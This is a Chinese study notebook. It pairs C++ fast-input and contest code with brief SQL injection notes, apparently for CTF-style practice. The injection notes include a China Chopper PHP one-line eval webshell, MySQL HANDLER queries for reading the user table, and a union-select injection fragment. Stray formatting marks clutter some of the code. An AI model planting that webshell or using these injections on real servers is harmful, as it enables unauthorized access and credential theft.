算法学习笔记:
1.c++快读法:(防止有的题卡时间)
inline int read(){
int x=0,f=1;
register char ch;
while(ch<'0'||ch>'9'){
if(ch=='-')
**f=-1;**
**ch=getchar();**
**}**
**while(ch>='0'&&ch<='9'){**
**x=(x<<1)+(x<<3)+(ch^48);**
**ch=getchar();**
**}**
**return x*f;**
}
//(x<<1)+(x<<3)==x*10; //(ch^48)=(=ch-='0')
register:这个关键字请求编译器尽可能的将变量存在CPU内部**寄存器中,而不是通过内存寻址访问,以提高效率。注意是尽可能,不是绝对**。你想想,一个CPU 的寄存器也就那么几个或几十个,你要是定义了很多很多register 变量,它累死也可能不能全部把这些变量放入寄存器吧。
题目:
思路:中国剩余定理
代码实现:
#include<bits/stdc++.h>
int read() {
register int x = 0,f = 1;register char ch;
ch = getchar();
while(ch > '9' || ch < '0'){if(ch == '-') f = -f;ch = getchar();}
while(ch <= '9' && ch >= '0'){x = x * 10 + ch - 48;ch = getchar();}
return x * f;
}
int main(){
int x;
long long n,m;
x = read();
for (long long j = 1;j <= x;j ++){
n = read();m = read();
if (m > 13) m = 13;
bool flag = false;
for (int i = 2;i <= m;++i){
**if (n % i != i - 1)**
**flag = true;**
**if (flag) break;**
**}**
**printf((flag ? "Yes\n" : "No\n"));**
**}**
**return 0;**
}
sql注入
文件读写权限的问题
终端进入mysql数据库的方法:
在终端输入: mysql -h 127.0.0.1 -u root -p
-h 后面跟着服务器的ip
-u 后面跟着用户名
-p 后面跟着登陆密码
use + 数据库名字
查看secure-file-priv的方法总结:在终端输入
show variables like '%secure%';
中国菜刀
一句话木马 <php @eval ($_post['pass']);?>
pass处填写密码
handler模板:
handler user open;
handler user read;
handler user read first [where username='admin'];
handler user read next [where username='admin'];--[]中的内容可加可不加
SQL注入只要有API接口就能注入,服务端,和数据库
php代码规定不能同时执行多条sql语句
union连接select所查询的类型要相似或者相同
sqlmap使用手册
报错注入:
创建虚拟数据在数据库,就行sql注入,联合注入
union select 1,'username','password'#&pw=password
####password可能就行md5加密